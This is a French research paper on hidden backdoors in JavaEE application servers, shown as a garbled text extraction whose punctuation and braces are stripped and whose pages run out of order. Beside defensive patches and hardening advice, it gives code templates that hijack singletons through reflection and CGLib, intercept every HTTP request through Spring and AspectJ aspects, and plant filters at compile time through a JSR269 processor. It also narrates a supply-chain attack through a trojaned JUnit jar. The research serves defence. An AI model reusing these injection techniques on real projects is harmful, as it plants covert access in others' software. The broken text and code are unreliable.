Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
